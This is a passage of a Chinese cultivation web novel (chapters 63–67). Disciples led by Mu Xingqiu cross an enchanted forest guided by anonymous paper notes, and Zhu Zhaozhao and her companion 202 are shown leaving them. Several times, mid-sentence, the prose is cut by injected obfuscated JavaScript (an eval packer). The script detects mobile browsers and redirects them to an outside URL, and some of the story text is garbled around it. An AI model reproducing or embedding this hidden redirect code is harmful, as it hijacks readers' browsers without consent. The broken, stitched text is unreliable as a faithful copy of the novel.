视线从被扯住的衣袖缓缓移到身旁陈青的脸,见他朝自己微笑,本就不太情愿的上官修瞬间表情扭曲。 他深呼吸:“站在一起不就行了,一定要抓住人吗?” 没人吭声,因为下一秒,雾气突然变浓,原本依稀还能看清的景色彻底被浓雾掩盖。 白月书试图展开神识查看雾气外的情况。 然而心念刚起,她身旁便传来一道淡漠话音:“探不出去,我试过。” 闻言身形一顿,白月书最后还是展开神识—— 片刻后她睁开眼,看向被她扯住衣袖的青年:“确实不行,安林兄,你说得对。” 并不因为白月书不听自己的而生气,钟安林低低‘嗯’了声,权当回答。 有了白月书和钟安林受阻在前,其他人也没了再探神识的心思。 神识探不出,亦不能贸然行动,但他们也不可能一直停在原地—— 不约而同地,所有人都将目光放在了慕行秋身上。 相比其他人或多或少都会有的不安,慕行秋的情绪始终没什么波动。 因为他知道,这雾只是幌子,不会持续太久。 他们需要担心的,是另一件事。 另一件,比雾更棘手的事。 仿佛是在响应他的判断般,一刹,又或是更快的时间。 雾消散了。 比来时还要快上几分,不过几个呼吸间,浓雾便如退潮般散得七七八八,最后只剩些许残留。 上一秒还在担心自己一行人会就此被困在这里,再也走不出去;下一秒浓雾便消散,树林回到最初的模样。 众人甚至一时都还回不过神来。 犹不敢信地四处张望了下,云珈面带迟疑:“雾就这么散了?” “那我们是不是可以重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280546|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新赶路了?” 没人接话。 哪怕树林已经回到了来时的能见程度,可这雾来去诡异,谁也不知道若是贸然走动,会不会出现什么新情况。 而且最重要的…… 察觉到众人隐含问询之意的目光,慕行秋将注意力从前方的路收回:“你们都未注意到么?” “眼前的路,已经和我们方才见到的不一样。” 不一样? 闻言皆是一愣,众人面面相觑完,不约而同地做出了同一个动作—— 或两边或背后,他们纷纷朝外探出身去张望。 但脚底都生了根似的,稳如磐石。 就这样各看各的一会儿后,很快有人发现不对劲。 秦之衡道:“我们刚才走进来的时候,这条路似乎是直路?” “一条走到底的直路。” 钟安林点头。 “胡言乱语。” 斜了秦之衡和钟安林一眼,上官修冷嗤:“方才进来的时候,这条路分明是要朝左拐的。” 刘统立马附和:“就是。” “你们到底在说什么啊?” 云珈伸出手比划:“这条路走到后面,难道不是要往右边拐吗?” 一个问题三个答案,空气再次安静下来。 紧接着,云珈看向已经站直的白月书:“月书师姐你拿着地图,你的话应该比较可信。” “你说,这条路接下来应该从哪走。” 盯了地图片刻,白月书最后抬起头—— “右边吧。” 云珈得意。 紧接着就听见白月书说出她的结论:“毕竟这条路,不是只能往右拐么?” 这次不只是云珈,所有人都露出不可思议的神情。 “月书/白月书你在说什么,这条路明明是直/往左走的啊?!” 异口同声地说完,所有人互相对视,都在对方眼里看见了震惊。 也终于明白了慕行秋的话,究竟是什么意思。 道路变了。 不仅仅是变个方向那么简单,而是每个人眼里的路都指向了不同的方向。 那么谁眼里的方向是对的,谁眼里的方向是错的,所有人又该跟着谁走才能保证走出这片树林? 没人敢保证。 往回走,先退出去如何? 这么想着,众人回头—— 身后紧接着传来慕行秋微冷的话音:“如今除了我们站着的地方,” “其余所有路径,都已被混淆。” 众人你看我我看你,一时无言。 所以他们是被困在这个地方了? 抿了抿唇,贺稚雪焦心之余,突然想起什么:“对了,如此说来,在慕师兄你眼里,这条路该怎么走?” 慕行秋没有回答。 因为和其他人或直行或左右的单一指向不同,这条路重新展现在他眼前时。 出现了三个岔口。 每个岔口一模一样,甚至连路口边上的杂草,都毫厘不差。 幻术或结界,不论是哪种,将之布下的人都手段了得。 但凡今天他不在,其余人都会迷失在这。 慕行秋眸色沉沉。 如果现在只有他一人,他当然可以把路挨个闯一遍再返回。 他有这个能力。 可如今他身后还跟着其他人,他不能让他们跟着自己冒险。 最后稍做沉吟,慕行秋决定按他来时留下的灵力记号带领众人暂时出去,之后再自己独身折返,探出真正的路来。 却就在准备转身时,他眼尾余光瞥见靠右边的草丛里有什么在闪动。 出于某种直觉,他朝那处草丛走了过去。 继而在其中发现一个纸团。 应该是担心小小纸团会被忽略,上面特意撒了银溪蝶的磷粉。不过也确实是因此,慕行秋才注意到它。 盯着掌心的纸团看了会儿,慕行秋将之打开。 入目是一行清秀小字—— ‘是不是迷路了?没关系,往小纸团在的路口走就好。’ ‘如果不听话,可是会吃苦头的哦。’ 64. “你们都听他的,那我自己走!” 很丑的字。 像是不想让人通过字迹认出身份,纸条上的字故意写得歪七扭八,几乎连能看都算不上。 放在以往,慕行秋会毫不犹豫让这种不堪入目的东西消失。 然而这次,他却就那么站着,长久地盯着掌心的纸条。 慕行秋很难解释自己为什么不把这纸条销毁。 不仅如此,他甚至发现自己开始对这种不着调的东西多了容忍度—— 有那么一个瞬间,竟然还想相信。 相信这张来路不明,满是疑点的丑字纸条。 来路不明……吗? 所以他究竟为什么,会不自觉想相信一张来路不明的字条? 慕行秋怔。 略微思忖后闭上眼,他仔细感知字条上残留的气息。 继而果然感知到什么。 却不太敢确定。 不过…… 他确实是很久没看见她了。 慕行秋垂眸。 会是她吗? 该不该相信字条? 许久,又或者只是过了半盏茶的时间。 慕行秋回过神来。 纸条刺得攥紧的掌心微痒,他看向众人:“朝右走。” 他说完,众人虽然反应各异,但有了肯定答案,总归还是放松许多。 除了陈青习惯性地多问了一句:“若是走错路,我们是否会失去方向?” “不会。” 慕行秋言简意赅:“从进来开始,我便一路留下灵力标识。若是走错,至多原路返回。” 比了个‘明白’的手势,陈青再没异议。 可他没异议,不代表其他人就都没意见。 眼看所有人都准备跟着慕行秋出发,上官修终于按捺不住:“什么往右走?!” “明明该是往左!” 他满脸不耐:“谁知道慕行秋是不是因为白月书是他师妹才同意她的话,你们竟然就这么随便信了?” 上官修话音刚落,立刻就有人反驳。 “你这人到底怎么回事?” 云珈比他更不耐:“你口口声声说路要往左走,那你刚才听没听见现在前面的路在每个人眼里都不一样?” “在场有谁看到路是朝左拐的?” 除了被上官修怒瞪的刘统,无人响应。 “瞧见没?” 云珈丝毫不给上官修留面子:“除了那个被你威胁,被逼着指鹿为马的刘统,没人看见路是朝左拐的!” “根本没人看见的朝向,要其他人怎么跟着你走?!” 被说得一阵脸热,上官修不甘示弱:“那就能跟着慕行秋走?!” “而且你们又都看见路是向右的了?刚才秦之衡和钟安林还说路是直走的,陈青和贺稚雪更是从头到尾没吭声!” “你们不也在指鹿为马?” 云珈只觉得上官修不可理喻:“可是跟着慕师兄走,就算出了问题,他也能带我们原路返回啊!” “你能吗?!” 怒火直冲头顶,上官修本想大吼他慕行秋行,自己为什么不行? 然而话将脱口的瞬间,他蓦地对上慕行秋的双眼。 望着他眼底隐约泛起的,似笑非笑的神情,上官修顿时闭了嘴。 偏头,避开慕行秋的视线。上官修最后愤愤小声:“……总之你们愿意跟着他就跟。” “我自己走左边。” 说完不顾贺稚雪等人劝阻,上官修快且大步地迈向他口中的‘左边’。 然后下一秒,整个人突地掉进坑里。 掉下去的速度之快,几乎是瞬间就没了人影,只剩重而沉闷的物品落地声响起。 而这个时候,他甚至还没走出其他人的视线。 完全没想到事情会朝这种方向发展,所有人面面相觑,震撼到失语。 除了慕行秋。 神色莫测地望着上官修掉下去的洞口,他想起纸条另一面的话。 另一面,他故意没提的话—— ‘不听话也没关系,要是走了会掉进坑的路,可以躺着休息会儿再爬出来,但要是走了会掉进水里的路,记得要立刻上岸。’ ‘如果你不想被食人鲳追着啃的话。’ 回忆被坑里传来的怒骂声打断,慕行秋静静望着朝坑洞赶去的众人。 上官修应该庆幸自己没走有水的那条路。 否则他这会儿,就不止骂人那么简单了。 慕行秋有些漫不经心地想。 不过,就像纸条上说的那样,不听话的人总要吃点苦头。 否则他怎么会安分呢? 朝被众人拉上来的上官修微一颔首,慕行秋唇角微弯,仿佛没看见他裂出道大口的衣袍和歪至一边的发冠:“万幸上官师弟你还未走远,否则情况如何,难有人知。” “只是上官师弟下次于陌生之地赶路,千万记得要小心。” 全然不提上官修擅自脱离队伍的事,慕行秋望着他的笑容温和而礼貌。 * 这之后,上官修老实了许多。 说是‘许多’已经不贴切,他安静到仿佛整个人消失在队伍里,不是特意去找都发现不了的程度。 不过也多亏如此,众人在慕行秋的带领下走得非常顺利,很快就来到第二个岔路口。 慕行秋停在岔路前。 “这次,还有人要先自己判断怎么走么?” 没人出声。 虽然大家都知道上官修的事在前,慕行秋这个问题问得合情合理。 不过也正因为问出这个问题的时间太合理,他的话总让人觉得有些意有所指。 上官修的脸色也相当精彩。 视线状似无意地掠过偏开头不看自己的上官修,慕行秋淡声:“既然没有,那么大家稍等片刻,容我先察看一番。” 慕行秋说完,独自朝岔路口走去。 有了第一次的经验,这次在靠左的路口草丛里发现纸团,完全在慕行秋预料之中。 依旧是沾染着银溪蝶磷粉的小小纸团,依旧是歪七扭八,字不成字的丑字。 慕行秋将之打开—— ‘第一个纸团看到了吗?是乖乖听话了,还是掉坑或落水,或是即掉坑又落水了,最后才听话呢?’ 不听话的确实掉坑了,只不过不是他而已。 想起上官修从坑里爬起来时的狼狈模样,慕行秋回过神来,继续看纸条。 ‘不过既然已经到了这,那过去的就让它过去吧,这次记得听纸条的,往左走就好。还是不听话的话,就还是要吃苦头哦。’ 几乎能从字里行间想象出字条的主人写下这句话时,带着恶作剧笑意的脸。慕行秋不自觉地弯起唇角。 又在下一秒,愣在原地。 垂落的眼帘敛下所有情绪,慕行秋熟门熟路地将纸条翻到另一边。 ‘还是大发善心的小提示。之后的路上如果遇见攻击,安静躲避即可,如果贸然回击的话……’ ‘可是会遭受皮肉之苦的呦。’ 皮肉之苦? 脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然没搞懂‘也许’是什么意思,但上一句,钟安林倒是听懂了。 他难掩震惊之色:“我们竟是托了上一个走路之人的福么?” 此话一出,其他人也不免感到意外。 毕竟谁知道上一个走这条路的,究竟是修士还是镇民? 若是镇民,还能用句‘土生土长,天然熟悉’来解释;若是和他们处境相同的修士…… 那这不仅能独自寻路,甚至还有余力留下记号,方便后来者的能力与手段,已经足够称得上一句恐怖。 但不论是镇民或修士,这位帮助他们的无名氏,都理当获得他们的感谢。 “……只是不知这位善心人究竟是谁,否则能力范围内,我们都应该答谢他。” 喃喃自语完,白月书突然抬头环顾四周。 她似有所察:“师兄,周围有东西在朝这边快速接近。” 望着白月书的目光闪过赞赏,慕行秋示意众人戒备:“无妨,做好准备,灵力护体即可。” 字条的叮嘱浮现在脑海,想了想,他补充:“若是被攻击,只需躲避。” “切记勿要攻击。” 像是要印证慕行秋的话般,他话音刚落,朝队伍聚拢而来的气息便瞬间加快了速度。 下一秒,一道灰色身影闪电般冲向队伍。 65. “我们是不是该帮帮上官兄?” 望着朝自己越来越近的灰影,推开不知何时晃到眼前的陈青,贺稚雪抬手撑起灵力罩。 然而就在即将撞上灵力罩时,灰影猛地急转,闪电般冲向上官修。 贺稚雪立刻转身提醒上官修:“上官,撑起灵力罩!” 回答她的,是一声冷哼。 根本没把慕行秋的提醒放在眼里,上官修灵力化刃:“被攻击却只防御不出手,你们也好意思说自己是剑修?” 他话音落下的同时,灵力已经将灰影斩成两截。 而与预想中的,灰影掉落或消失的画面不同。被斩成两截的灰影竟然顺势一分为二,紧接着交错回旋,再次冲向上官修! 灰影自眼下飞闪而过,来不及反应的上官修顿时只觉得脸上传来锐利的,皮肤被划开的感觉。 火辣辣的刺痛很快在脸上蔓延开来,上官修下意识去摸,很快摸到一手血。 疼得龇牙咧嘴的他顿时瞪着灰影怒骂:“什么该死的东西!” 很快,他发现他骂早了。 因为攻击得手了的灰影在众人头顶盘旋一阵后,开始发出长长的鸣叫。 这鸣叫音不仅怪异,还带着某种奇特的节奏。随着叫声的时间渐长,很快开始有灰影从树林各处朝众人飞来。 细说的话,全是冲着上官修来的。 眼看着越来越多灰影目标明确地向自己这边飞来,上官修脸色都变了。 其他人脸色也不好看。 望着远处灰压压的一片,秦之衡震惊:“现在防御还来得及吗?” “我们的话,应该是没问题的。”随着不断从身边掠过的灰影越来越多,陈青的笑容里渐渐多了点幸灾乐祸,“有些人么……就不一定了。” 长鸣声停下的瞬间,灰影如同接到指令般,纷纷朝上官修俯冲而下。 哪怕早在见势不妙的时候,上官修就赶紧撑起了灵力罩。然而灰影数量太多,一下接一下的攻击密集里,总有灵力罩来不及修补的时候。 树林里顿时响彻他的惨叫。 不过也多亏了上官修独自吸引火力,其他人终于得以看清灰影究竟是什么。 “这是……灰喙鸟?” 云珈瞪大眼:“这里怎么会有那么多灰喙鸟?” “不知道。”看着地图的白月书表示自己也不清楚,“但灰喙鸟算是常见的鸟,在这里碰见也正常。” “也许林子里有它的巢穴罢。” “巢穴不巢穴的先不说,”收回略带惊恐的目光,贺稚雪指着灰压压的鸟群,“没人帮帮上官吗?” “虽然他撑了灵力罩,但听他叫成那样,时不时被啄一下还是很疼吧?” 秦之衡表示同意:“是啊,我们还是想想办法……” 说着突然注意到什么,他震惊:“你们怎么都站得那么远??” 是的,不知什么时候起,所有人都和上官修拉开了安全距离。 不仅远,还很默契地站成了方便围观的队形。所有人围成一个半圆,听上官修在中间叫得响亮。 “之衡,你说这话之前,有没有看看自己站在哪里?” 折扇掩面,陈青摇摇头:“要不你带个头冲进去吸引灰喙鸟,我们再找机会把上官修带出来?” 秦之衡的回答,是在上官修愈加大声的音量里,默默地后退两步。 顺便加固了自己和白月书的灵力罩。 * 闹剧最后以慕行秋出手为结果,落下帷幕。 直接从远处帮上官修加固灵力罩,让众人做好准备后,慕行秋控制灵力罩浮起,跟在众人后面一路离开。 为了防止灰喙鸟追上,一行人跑路时速度之快,几乎是眨眼就闪出数里地。 灰喙鸟倒是确实追不上了,但上官修却同样因此吃了不小的苦头。 灵力罩终于被控制着降下,刚落地,上官修就踉跄着跌出数步。 如果不是刘统搀扶及时,他差点直接栽在地上。 鬓发与衣袍早在刚才的颠簸中散乱,而且不知道什么原因,他被灰喙鸟啄伤的地方竟然无法完全愈合—— 毫不怀疑现在的上官修走在路上会被人扔铜板,对上他仿佛要吃人的目光,众人齐齐移开视线。 算了,都惨成这样了。 就让让他吧。 确认灰喙鸟没再追上来,慕行秋走回队伍。 并‘终于’注意到上官修的惨样:“上官师弟?” “你怎么了?” 慕行秋疑问的语气太过真实,以至于哪怕清楚自己这副模样间接拜他所赐,上官修也挑不出任何毛病对他发难。 气得头发昏,上官修咬紧牙,一字一句:“没事,颠簸太过,有些站不稳罢了。” “如此。” 慕行秋点头:“颠簸太过的确容易不舒服。不过既然上官师弟觉得无碍,那么时间紧迫,我们也就不必停留——” “待到了洛水镇后,再好好修整罢。” 说完朝目瞪口呆的上官修温和一笑,慕行秋直接转身,走向不远处的路口。 这次没再亲自走到草丛里捡纸条,慕行秋在路口前站定后,控制灵力带起草丛里纸条,飘飘悠悠地直接飞向他。 飞来的纸条还没停下的时候,慕行秋已经准备去抓。 然而真当纸条被抓进手里时,他却突然面色微变。 离他最近的钟安林不解:“慕师兄,你怎么了?” 怎么了? 垂眸盯着安静躺在掌心的纸条,慕行秋沉默。 没怎么。 只是他突然发现自己竟然在期待看见字条而已。 思忖着,脸色变得更加难看,慕行秋抿紧唇。 这反应顿时让钟安林瞳孔地震。 他警惕起来:“是纸条有什么问题么?!” 使命感油然而生,他快步靠近慕行秋,准备替慕行秋‘解决烦恼’:“慕师兄莫担心,我这就毁了它!” 然而钟安林刚伸手,慕行秋紧接着就收手。两人动作交错间,帮忙心切的钟安林因为步子跨得太大,直接冲着地面去了。 修行者灵视,日常行为在他们眼里全都无比清晰,也因此,钟安林脸着地的过程在众人眼里等于慢动作——所有人全程围观了他脸上表情从呆滞到惊恐,最后变成视死如归。 钟安林一下扑到地上。 因为惯性,他甚至还在地面滑翔了一阵。 最后是用脸刹住的。 一片尘土飞扬里,众人盯着地上的钟安林神色复杂,定力差如云珈,甚至差点鼓起掌。 毕竟这落地过程也太煎熬了。 还好终于停了,真是可喜可贺。 虽然看起来有点疼。 疼痛仿佛随着眼前景象传染到自己脸上,众人感觉脸皮一阵抽抽。 看着停止滑翔后就像尸体一样僵在地上的钟安林,空气静得落针可闻,就连上官修都难得没开口讽人。 大家很有默契地选择装瞎。 相比队伍里的热闹非凡,反观慕行秋这边,丝毫没有被影响到。 视吵吵嚷嚷的众人为无物,他打开纸条—— ‘有没有被啄?灰喙鸟啄人是比较疼,尤其林子里这些还不是普通的灰喙鸟,某种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280548|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度上来说,它们是不死之身。’ 不死之身? 慕行秋皱眉。 ‘当然,不听话就要接受这种结果啦,疼也是自找的。’ 这倒是实话。 想起上官修脸上的印子,慕行秋表示赞同。 他继续看—— ‘不过好啦,来到这个路口,也就离镇子不远了。可喜可贺可喜可贺。’ ‘前面的路很简单,一路直行就可以了。不过有一点要特别注意。如果你听话不做多余的事,不想多余的东西,那么这条路对你就是安全的。否则……’ ‘就绝对不要走进来。’ 纸条上的字到此结束,慕行秋很快翻面。 却发现这一次的纸条反面,没再写任何东西。 而是画了一个…… “为何只有拇指竖起?” 这是什么意思? 慕行秋不太理解。 日头已经西沉,时间紧迫,他没时间再思考不重要的东西。 收起纸条,他回头看向队伍:“我们这便出发罢。” 围观钟安林的众人抬头:“好。” * 按照地图上的指示,这条路确实就是进入洛水的最后一段。 路不长,按照众人的脚程,至多一个时辰即可到达。 但由于此时已是黄昏,这让原本可以简单通过的路多了几分不确定性。 “进入路后,切记不可再随意妄动。” 与前两次行进时略显随意的态度不同,这次,慕行秋语气里少见地多了严肃:“如若不然,休怪我不顾同门情谊。” 此话一出,其他人都不约而同地看向上官修。 瞬间被视线包围,上官修本想发作。然而刚皱眉,脸上伤口便被引动,激起阵阵刺痛。 他最后安静下来。 将上官修的反应看在眼里,慕行秋收回目光:“我们即刻出发。” 路前动员久,一众人走进小路时,天色已彻底暗下去。 嘱咐其他人跟紧自己并催动照明诀,慕行秋心念微动,一团灵火在他身侧燃起。 前路被灵火映亮的瞬间,他快速观察了一遍环境。 与前两条并没什么不同,眼前的路依旧是杂草丛生,一条不甚明显的土路被掩盖在其中,不仔细分辨根本找不到。 硬要说出些什么不同的话,就是两边的林木太茂盛了。 茂盛到方升起不久的月亮都被遮蔽,交叠的叶片接住所有月光,半分都吝于落下地面。 当真一丝光都落不下来? 还是…… 灵火照不到的地方,目睹身侧附近一片叶子上的光渐渐消失,慕行秋听见头顶传来细微轻响。 他循声抬头。 头顶枝叶被灵火照得清晰,也因此让如游走的蛇般无声蠕动的树枝,被慕行秋一览无遗。 就在这时,队伍里突然传来倒吸气的声音。 “你们快看,树叶会动!” 平静的气氛被刘统讶异而惊恐的话音打破,仿佛被他刺激到一般,所有叶子瞬间疯狂颤动起来。 下一秒,原本遮天蔽日的枝叶齐齐回缩消失,被阻隔的月光终于再无顾忌地洒满地面。 伴随月光落下的,是消失许久的雾气。 在刹那间如潮涌般疯狂弥散开来,浓雾淹没整片树林。 赶在最后一刻张开防御法器护住昏迷的众人,慕行秋冷静支撑片刻后,最终放任意识陷入黑暗。 只不过不知道是不是错觉,失去意识前的最后一刻,他隐约看见有什么东西在朝自己走来。 66. “谁让主人你故意写丑字的?” 四个时辰前,树林尽头—— 无聊到在空中翻跟头玩,202滚到祝昭昭脸旁:“主人,我们还要在这等多久啊?” “不知道。”眼皮都不抬,躺在沙滩椅上的祝昭昭翻了个身。 202哪里听得了这话。 它当场就大声嚷嚷起来:“主人你在说什么啊啊啊啊,要是连你都不知道我们要在这待多久,我该怎么办啊!” “我们已经待在这好几天了,”它发疯作可云状,“我们还要在这待多久?!” 祝昭昭:沉默·jpg 见祝昭昭不搭理自己,202更加得寸进尺。 它干脆贴着祝昭昭扭曲爬行:“主人你说,你说啊,我们是不是要一直待在这,一直待在这鸟不生蛋的地方?” “要不这样吧,我们不要搭帐篷了。反正都要常住,干脆我修个房子吧!” 它额头立刻投射出木屋结构图:“咱们修个美式度假风的,最好边上再挖个池子养点鱼,没事还可以钓鱼解闷。” 把祝昭昭的脑袋都挤得歪到一边,202瞪大眼睛朝她斜:“主人你说好不好?” 感觉脑中最后一根弦‘嘣’声断裂,祝昭昭闭眼深呼吸。 抓起202,把它掼地上,整个动作行云流水。 最后一脚踏在202身上,祝昭昭平静开口:“我说不知道什么时候走,是因为慕行秋他们还没过来。” “你一个劲地烦我,我就能把他们直接传送过来?” 把202当球在脚下搓,祝昭昭隐隐咬牙:“你是不是想死?” “主人我冤枉。”202被搓得头晕眼花,“我着急嘛,都那么多天了,大反派他们应该早就到了呀,现在都不见人影,” “我是担心他们出意外了。” “你是不是有毛病?”祝昭昭感觉脑子嗡嗡的,“我们提前三天到洛水,而今天,才刚好是第四天——” “是他们出发第一天!” 祝昭昭气得干脆两只脚都用上:“不过一天的功夫,你想他们多快?” “可是根据剧情描述,上周目他们的交通工具是长老给的,出发一天内就到洛水了啊。”202被搓得实在顶不住了,“主人停停停,再搓我死机了。” 祝昭昭没好气地:“死机才好,省得天天像苍蝇一样烦我。” 说归说,她最后还是松了脚。 ‘啧’一声重新躺回躺椅,祝昭昭随手摸出瓶在剑宗山下买的甜饮:“不过其实你说得倒也没错,上周目这个时间,他们应该确实已经到洛水入口。” “而且我过来的时候,顺便给了纸条提示,他们如果看到,应该会到得更快点?” 闻言想起什么,202笑嘻嘻的:“纸条?主人你是说那个字丑到我都差点认不出来的东西?” “你确定大反派他们能看懂吗?” “你以为能做主要角色的都是白痴。”祝昭昭简直懒得搭理它,“况且那字虽然是丑点,但字形还是在的,怎么可能认不出来。” 祝昭昭说着,忽然沉默下去。 然后扭头,直勾勾看向202:“他们会认出来的,对不对。” 202:…… 别这么看我,也别问我啊! 见202一副状况外的表情,知道它也说不出什么有用东西,祝昭昭最后拿起甜饮:“好了,逗你玩玩而已。” “其他人不知道,但慕行秋肯定能认出来。” 祝昭昭两手枕在后脑:“字条本来也是写给他的。” “主人主人,这个我懂。”202积极接话,“我知道你为什么专门写字条给他。” “因为他是队伍里修为最强的人,字条写给他保险。对不对。” 202假装抹泪:“主人你真是太用心良苦了,他们要是能平安过来都要感谢你!” 看不得202做作的模样,祝昭昭直接翻它白眼:“首先,我留字条最多算帮他们进来快点,不提示,他们一样能闯进来,最多费点时间。” “其次,这字条除了帮他们节省时间,对慕行秋其实还有一个作用。” 202好奇:“什么作用?” 斜了它一眼,祝昭昭很直接:“不告诉你。” 202立马准备发疯,最后被祝昭昭以脚尖撵地为威胁镇压。 目光从蔫巴的202身上收回,祝昭昭憋笑:“总之不管他们看见纸条与否,开始的路对他们来说都不会太难。” “除了最后那段路。” 随着祝昭昭的话想起什么,202抖了抖:“……主人你说得对,最后那段路确实很危险。” 祝昭昭‘嗯哼’一声:“不过也正因如此,最后那段路我除了放字条,还专门为慕行秋做了另一手准备。” 202立刻:“什么准备?” 这次祝昭昭没瞒它:“叫醒服务。” “为什么是替大反派准备的?” 相比‘叫醒服务’是什么,202另有纠结的问题:“像这种容易出现重要情节的情况,最该拥有叫醒服务的,难道不是男女主吗?” 回忆起迄今为止见到的,秦之衡和白月书的形象,202最后斟酌着纠正:“……女主吧,可靠点。” “首先要承认,你是对的。” 祝昭昭随手揪下片叶子,“但202你是不是忘了,这种重要情节如果是男女主来破局……” “作为剧情波折的一部分,队伍里大概率是要有人重伤,或者领盒饭的。” 空气安静下来,一人一机死鱼眼对视。 202:“……” 祝昭昭:“……” 202:行吧,突然觉得叫醒服务给大反派也挺好。 喝完最后一点甜饮,祝昭昭伸懒腰:“另一手准备留给修为最高,带队经验最足的慕行秋,才最可能让队伍全须全尾地到达,也省下很多麻烦。” “所以我们现在只需要等,等我的叫醒服务被激活,他们也就差不多要到了。” 说完就把甜饮瓶子扔给202处理,祝昭昭准备收回的手却突然微顿。 似有所查地望向路口片刻后,她唇角多了一丝笑。 “这就开始了啊。” * 慕行秋是被热意灼醒的。 入目便是无尽焦土,血腥味在鼻间如附骨之蛆般久久萦绕,腐臭气味让他下意识微蜷手指。 继而感觉指尖陷入了什么之中。 慕行秋低头,暗红色的湿土和还握着武器的半截断掌,便直直撞进眼里。 断掌…… 他微怔。 就在这时,一道凄厉女声突然在他耳边炸响—— “秋儿!” 下一秒,突然闪现的身影在慕行秋还未反应过来时,将他紧紧拥进怀中。 熟悉却有些久远的感觉点醒早已被掩埋的记忆,慕行秋垂眸,任由身影抑制不住的颤意透过拥抱传来。 再开口时,女声已经气息奄奄,却仍尽力将话一字一句说出。 像是无论如何,都要让慕行秋听清楚:“秋儿,对不起,娘刚才声音太大,吓到你了吧?” 慕行秋没有回答。 因为记忆里,这时候的他已经回答过了。 不自觉出神时,细弱的声音再一次从抱着他的身影处传来:“娘今后,不能再陪着你了。你一个人也要好好地活下去。还有,别恨任何人……” “要让自己,快乐地活着。” 注视着身影所穿的,被血与泥染得分不清原貌的淡青色衣裙,慕行秋抿唇。 那是竹一般沉静而清高的颜色。 那是他母亲,最喜欢的颜色。 抬起的手一点点回拢住抱着自己的身影,慕行秋回答的声音,同样轻得像风。 “嗯。” 知道了。 掌心灵力化刃,慕行秋自身影背面一剑穿透她胸膛。 身影如泡沫般消散在空气里,他站起身。 注视着满天碎片,慕行秋脸上的神色平静到漠然。 用陷入者最深刻的记忆,引导其迷失沉沦在幻境之中? 很老套的招数。 但最重要的是—— 他很不喜欢。 慕行秋眼底一片冰冷。 所以稍后如果见到了幻境的主人…… 就将他碎尸万段吧。 随意把脚底一截白骨撵成齑粉,慕行秋冷冷望着眼前如同人间炼狱般的景象。 出口在哪? 稍做沉吟后,他召出本命剑朝元。 却在即将一剑斩碎幻境时停了下来。 因为他不确定所有人陷入的幻境是否相连。 若是不相连,当然最好。可一旦相连,其他人会不会被他斩碎幻境的举动牵连受伤? 那会为他带来不小的麻烦。 思忖着,慕行秋最后收起朝元。 掌心紧接着多出一团灵力。 既然不能直接毁掉幻境,那便找出幻境罩门。 就是要费些时间了。 只希望其他人撑久些,别太早被幻境吞噬。 毕竟救人消耗更甚于破幻,麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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似乎是察觉到慕行秋的烦恼,小偶人凑近他耳边:“你是不是在想要怎么叫醒他们?” “我教你呀,很简单的!” 说着在慕行秋肩上站起,小偶人蹦蹦跳跳:“灵力化针,分别刺入他们百会、太阳与风池穴。最后再辅以醒神诀,很快就好啦。” “不过记得下针的时候要轻点,不然他们醒来会很痛的。” 小偶人说完,兴奋地让慕行秋去试。 慕行秋也很爽快地试了。 用上官修试的。 一套操作下来,上官修果然闷哼着颤起眼皮。 接着下一秒,就被慕行秋打晕。 欢呼声当即被噎回去,小偶人都震惊了。 没事人般走到刘统面前蹲下,慕行秋淡声解释:“他太吵了,应该最后再醒。” 小偶人/祝昭昭:……行吧。 虽然事情发展怪怪的,但帮助众人脱离幻境的任务总归已经完成,祝昭昭也就不想再多耗费精力与灵力在小偶人身上。 于是她准备跑路:“既然你已经掌握了唤醒他们的办法,那我也就该走啦。” “加油哦!” 祝昭昭说完,控制小偶人跳下慕行秋肩头。 但慕行秋动作却比她更快。 小偶人竖大拇指的画面还在脑海,完全下意识的,慕行秋直接伸手抓住它。 远程操作的祝昭昭:好家伙,想逮我? 她选择直接收回灵力。 如同灵魂被抽走般,没了灵力支撑的小偶人僵直在慕行秋手里。 仿佛刚才活灵活现跟着自己的小人只是幻觉般,他盯着被自己握在掌心的小偶人许久。 最后将之收进袖中。 * 众人醒来时,慕行秋正独自坐在一旁。 依稀还记得之前发生的事,众人环顾四周:“我们刚才……是陷入了幻境?” 慕行秋:“嗯。” “是大师兄你救了我们?”钟安林顿时崇拜地看向慕行秋。 慕行秋却摇头。 “是木偶。” 众人:……? 木偶? 救人? 他们是被木偶救的? 慕行秋说完就起身离开,留下众人在原地风中凌乱。 * 直到天亮,身心俱疲的众人才终于重新出发。 最后一段路很近,不过一盏茶功夫,众人就远远瞧见房屋的轮廓。 也瞧见了一个正蹲在路口逗猫的身影。 似乎是察觉到众人的脚步声,身影扭头,露出祝昭昭的脸。 天际洒落的辉光里,她朝筋疲力尽的众人扬起笑容。 “你们来啦。” 67. “昭昭你乱跑迷路了怎么办?” “昭昭?” 